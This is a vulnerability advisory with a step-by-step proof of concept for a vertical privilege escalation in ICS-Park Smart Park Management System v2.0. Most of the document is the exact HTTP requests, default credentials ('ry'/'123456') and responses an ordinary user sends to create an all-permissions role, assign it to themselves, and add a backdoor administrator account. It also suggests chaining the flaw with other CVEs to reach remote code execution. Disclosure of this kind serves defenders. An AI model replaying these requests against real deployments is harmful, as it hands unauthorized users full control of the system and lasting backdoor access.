📄 ICS-Park Smart Park Management System 2.0 Privilege Escalation

CVE-2026-67687: ICS-Park Smart Park Management System v2.0 - Vertical Privilege Escalation via Missing Authorization (Ordinary User Creates Administrator Account)
    CVE ID
    CVE-2026-67687
    
    Description
    ICS-Park Smart Park Management System v2.0 (based on RuoYi framework) contains a vertical privilege escalation vulnerability that allows any authenticated ordinary user to create a full-privilege administrator account. The attack chain exploits two missing authorization gaps:
    
    1. **`RoleController.save()`** — lacks `@HasPermissions` annotation, allowing any authenticated user to create roles with arbitrary permission sets
    2. **`UserController.update()`** — protected by `@HasPermissions("system:user:edit")`, which ships with the default "普通会员" (common member) role in the seed database
    
    By combining these, an attacker can create a role containing all system permissions, assign their own account to it, then create arbitrary administrator-level users — all without any prior admin privileges.
    
    Proof of Concept (PoC)
    ## Proof of Concept (PoC)
    
    ### Step 1: Login as ordinary user `ry` (普通会员)
    
    ```
    POST /auth/login HTTP/1.1
    Host: localhost:9227
    Content-Type: application/json
    
    {"username":"ry","password":"123456"}
    ```
    
    Response:
    
    ```json
    {"msg":"success","code":0,"token":"bc0da75c...","userId":2}
    ```
    
    At this point, `ry` has only the permissions granted by role_id=2 (普通会员), which includes `system:user:edit` but NOT `system:user:add` or `system:role:*`.
    
    ### Step 2: Create a role with all system permissions (missing authorization)
    
    The endpoint `/system/role/save` has NO `@HasPermissions` annotation, so any authenticated user can call it regardless of role.
    
    ```
    POST /system/role/save HTTP/1.1
    Host: localhost:9227
    token: bc0da75c...
    Content-Type: application/json
    
    {
      "roleName": "pwn_role",
      "roleKey": "pwn_role",
      "roleSort": "1",
      "status": "0",
      "menuIds": [
        100,101,102,103,104,105,106,107,108,109,110,
        114,115,200,500,501,600,1000,1001,1002,1003,
        1004,1005,1006,1007,1008,1009,1010,1011,1012,
        1013,1014,1015,1016,1017,1018,1019,1020,1021,
        1022,1023,1024,1025,1026,1027,1028,1029,1030,
        1031,1032,1033,1034,1035,1036,1037,1038,1039,
        1040,1041,1042,1043,1044,1045,1046,1047,1048,
        1049,1050,1051,1052,1053,1054,1055,1056,1057,
        2000,2001,2002,2003,2004,2006,2007,2008,2009,
        2010,2011,2025,2026,2027,2028,2029,2030,2031,
        2032,2104,2105,2106,2107,2108,2109,2110,2111,
        2112,2113,2114,2115,2116,2118,2119,2120,2121,
        2122,2123,2124,2125,2126,2127,2128,2129,2130,
        2185,2187,2188,2189,2190,2191
      ]
    }
    ```
    
    Response:
    
    ```json
    {"msg":"success","code":0}
    ```
    
    New role created with `roleId=24` (pwn_role), containing all 108 menu permissions including `system:user:add`, `system:user:remove`, `system:role:*`, and `system:menu:*`.
    
    ### Step 3: Assign self to the new admin-level role
    
    Using the existing `system:user:edit` permission, `ry` calls `/system/user/update` to bind their own account to the newly created pwn_role:
    
    ```
    POST /system/user/update HTTP/1.1
    Host: localhost:9227
    token: bc0da75c...
    Content-Type: application/json
    
    {"userId":2,"loginName":"ry","roleIds":[24]}
    ```
    
    Response:
    
    ```json
    {"msg":"success","code":0}
    ```
    
    ### Step 4: Re-login to load escalated permissions
    
    ```
    POST /auth/login HTTP/1.1
    Host: localhost:9227
    Content-Type: application/json
    
    {"username":"ry","password":"123456"}
    ```
    
    Verify escalated permissions:
    
    ```
    GET /system/user/info HTTP/1.1
    Host: localhost:9227
    token: <new_token>
    ```
    
    Response:
    
    ```json
    {
      "userId": 2,
      "loginName": "ry",
      "buttons": [
        "system:user:view", "system:user:add", "system:user:edit",
        "system:user:remove", "system:role:view", "system:role:add",
        "system:role:edit", "system:menu:view",
        ...108 permissions total...
      ]
    }
    ```
    
    **Key change: `system:user:add` is now present.**
    
    ### Step 5: Create a new administrator-level user
    
    With `system:user:add` granted, `ry` creates a new user bound to the pwn_role (full permissions):
    
    ```
    POST /system/user/save HTTP/1.1
    Host: localhost:9227
    token: <new_token>
    Content-Type: application/json
    
    {
      "loginName": "hacker_pwn2",
      "password": "hack123",
      "roleIds": [24],
      "userName": "HackerPwn2",
      "mobile": "13999887002",
      "status": "0"
    }
    ```
    
    Response:
    
    ```json
    {"msg":"success","code":0}
    ```
    
    ### Step 6: Verify the new account
    
    ```
    POST /auth/login HTTP/1.1
    Host: localhost:9227
    Content-Type: application/json
    
    {"username":"hacker_pwn2","password":"hack123"}
    ```
    
    ```
    GET /system/user/info HTTP/1.1
    Host: localhost:9227
    token: <hacker_token>
    ```
    
    Response:
    
    ```json
    {
      "userId": 83,
      "loginName": "hacker_pwn2",
      "buttons": [
        "system:user:view", "system:user:add", "system:user:edit",
        "system:user:remove", "system:role:view", "system:role:add",
        ...108 permissions total...
      ]
    }
    ```
    
    **hacker_pwn2 (user_id=83) is now a fully privileged administrator account, created by the ordinary member user `ry`.**
    
    Impact
    - **Vertical Privilege Escalation**: An ordinary "普通会员" (common member) user can create a full-access administrator account without any prior administrative privileges
    - **Persistence & Backdoor**: The created account survives password resets and session invalidations, providing persistent system access
    - **Lateral Movement**: The attacker can use the elevated account to create additional backdoor users, modify business data, and access sensitive information
    - **Full System Compromise**: Combining this with existing CVEs achieves complete server control:
      - CVE-2025-10394: Schedule malicious Quartz tasks for remote code execution
      - CVE-2026-29911: Upload HTML files for stored XSS against other administrators
    Credit
    Discoverer: zyh